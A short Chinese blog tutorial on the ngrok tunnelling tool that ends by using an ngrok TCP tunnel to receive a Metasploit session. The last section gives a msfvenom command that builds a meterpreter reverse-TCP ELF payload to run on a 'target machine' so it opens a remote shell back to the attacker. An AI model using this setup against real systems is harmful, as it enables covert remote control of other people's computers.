0x00 ngrok简介

ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。ngrok 可捕获和分析所有通道上的流量,便于后期分析和重放。

反向代理计算机网络中是代理服务器的一种。服务器根据客户端的请求,从其关系的一组或多组后端服务器(如Web服务器)上获取资源,然后再将这些资源返回给客户端,客户端只会得知反向代理的IP地址,而不知道在代理服务器后面的服务器集群的存在。

0x01 ngrok安装

访问官网进行下载我这里是Mac,选择对应的版本

下载拷贝到tmp目录下后解压运行,查看帮助./ngrok h

安装Authtoken,这个在启用tcp隧道是会用到,首先在ngrok上注册一个用户登陆后在auth中把Authtoken复制到到安装目录下执行

1
./ngrok authtoken [填写你的Authtoken]

把本地映射到外网,这里我用docker本地启了一个tomcat服务

执行如下命令,可以看到已将本机到8080端口映射到ngrok.io

1
./ngrok http 8080

我们访问验证下,可以看到映射到外网的tomcat服务

控制台

0x02 TCP

接下来我们使用TCP把本机的2222映射到ngrok的外网中,执行如下命令

1
./ngrok tcp 2222

0x03 Metasploit

生成目标机适用的马

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > pentest

设置监听,注意这里设置成本地,端口是之前映射2222端口

把生成的payload目标机器上执行,然后收到返回的meterpreter

如下open为1的时候表示ok

参考链接

https://www.ggsec.cn/ngrok.html